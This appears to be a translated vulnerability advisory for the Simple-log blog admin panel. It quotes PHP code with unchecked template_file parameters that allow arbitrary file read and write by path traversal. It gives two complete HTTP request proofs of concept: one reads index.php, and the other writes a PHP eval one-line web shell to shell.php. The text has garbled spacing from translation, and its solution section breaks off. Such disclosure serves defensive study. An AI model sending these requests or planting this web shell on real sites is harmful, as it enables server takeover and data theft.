Simple-log does not check the parameters somewhere in the background, causing any file to be read/written.

In/admin/uplodes/set_page.php: the place where arbitrary files are read:

elseif ($action=='get_page_data'){require(PBBLOG_ROOT . '/includes/json.class.php');$json   = new JSON;$file=$_POST['template_file'];$res=array('type'=>'get_page_data','content'=>'','error'=>'no');$data=file_get_contents(PBBLOG_ROOT.'/themes/'.$config['template_name'].'/'.$file);$res['content']=$data;die($json->encode($res));}

 

$ _ POST ['template _ file'] is passed to $ file and then directly Concatenates the string into file_get_contents, causing the Arbitrary file Read vulnerability to generate Arbitrary file writing:

Elseif ($ action = 'act _ set_page ') {$ data = htmlspecialchars_decode (stripslashes ($ _ POST ['data']); $ file = $ _ POST ['template _ file']; $ fp = @ fopen (PBBLOG_ROOT. '/themes /'. $ config ['template _ name']. '/'. $ file, "w") or die ('can not open file'); flock ($ fp, LOCK_EX); fwrite ($ fp, $ data ); fclose ($ fp); clear_tpl (); sys_message ('page modified successfully', 'admin. php? Act = set_footer & file = '. $ file );}

 

Similarly, $ _ POST ['template _ file'] is passed to $ file and then directly concatenates strings into file_get_contents, resulting in the arbitrary file writing vulnerability.

Read the index. php file

POST /simple-log/admin/admin.php?act=get_page_data HTTP/1.1Host: xxxUser-Agent: xxxAccept: application/json, text/javascript, */*Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestReferer: http://xxx/simple-log/admin/admin.php?act=set_footer&file=blog.htmlContent-Length: 23Cookie: xxxConnection: keep-alivePragma: no-cacheCache-Control: no-cachetemplate_file=../index.php

 

Write a sentence to shell. php In the root directory

POST /simple-log/admin/admin.php?act=act_set_page HTTP/1.1Host: target.comUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://target.com/simple-log/admin/admin.php?act=set_footerCookie: CNZZDATA1702264=cnzz_eid%3D1919140847-1364978684-http%253A%252F%252F192.168.189.134%26ntime%3D1364978684%26cnzz_a%3D5%26retime%3D1364978721191%26sin%3Dnone%26ltime%3D1364978721191%26rtime%3D0; PHPSESSID=ic36fuhn6urslbfb8dom2ml936; T3_lang=zh-cnConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 155template_file=../../shell.php&data=%3C%3Fphp%0D%0A%40eval%28%24_POST%5B%27test%27%5D%29%3B%0D%0A%3F%3E&type=set_footer&file=footer.html&button=%E4%BF%AE%E6%94%B9

 

  Solution:

Checks passed variables and does not allow the existence...